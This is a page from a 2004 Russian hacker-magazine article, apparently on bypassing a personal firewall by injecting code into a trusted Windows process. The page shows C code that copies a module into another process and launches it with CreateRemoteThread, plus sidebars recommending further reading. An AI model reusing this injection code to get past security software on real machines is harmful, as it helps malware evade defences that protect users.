Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #72, ДЕКАБРЬ 2004 г.

Клизма для файрвола

Николай «GorluM» Андреев

Хакер, номер #072, стр. 072-112-5


if ((p_id = G::GetPIDbyName(szProcess)) == NULL)

return FALSE;

HANDLE p_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, p_id);

if (p_handle == NULL) return FALSE;

VirtualFreeEx(p_handle, g_module, 0, MEM_RELEASE);

DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(g_module) +

((PIMAGE_DOS_HEADER)(g_module))-> e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))-> SizeOfImage;

char *pMem = (char *)VirtualAllocEx(p_handle, g_module, dwSize,

MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (pMem == NULL) return FALSE;

DWORD dwOldProt, dwNumBytes, i;

MEMORY_BASIC_INFORMATION mbi;

VirtualQueryEx(p_handle, pMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));

while (mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) {

if (!(mbi.Protect & PAGE_GUARD)) {

for (i = 0; i < mbi.RegionSize; i += 0x1000) {

VirtualProtectEx(p_handle, pMem + i, 0x1000,

PAGE_EXECUTE_READWRITE, &dwOldProt);

WriteProcessMemory(p_handle, pMem + i, pMem + i, 0x1000, &dwNumBytes);

}

}

pMem += mbi.RegionSize;

VirtualQueryEx(p_handle, pMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));

}

DWORD dwRmtThdID;

typedef HANDLE (WINAPI *_CreateRTtype)(HANDLE,LPSECURITY_ATTRIBUTES,

SIZE_T,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD);

_CreateRTtype _CreateRT = (_CreateRTtype) GetProcAddress(

GetModuleHandle("kernel32.dll"),"CreateRemoteThread");

HANDLE hRmtThd = _CreateRT(p_handle, NULL, 0, func,

(LPVOID)g_module, 0, &dwRmtThdID);

if(hRmtThd == NULL) return FALSE;

CloseHandle(p_handle);

return TRUE;

}

CD

На диске ты, как всегда, обнаружишь все сорцы и бинарники приведенной в статье программы.

WWW

Подробнее об обходе файрвола с помощью Process Injection читай в последнем номере www.phrack.org

INFO

Отлаживать инжектируемую функцию с помощью встроенного в Visual Studio отладчика не получится. Тут нужно использовать SoftIce.

WWW

Описания всех используемых в программе API-функций ты можешь найти у себя на диске с MSDN или на сайте msdn.microsoft.com.

INFO

Категорически советую тебе прочесть книгу Рихтера. Без нее системному программеру под win32 живется очень тухло.

Назад на стр. 072-112-4  Содержание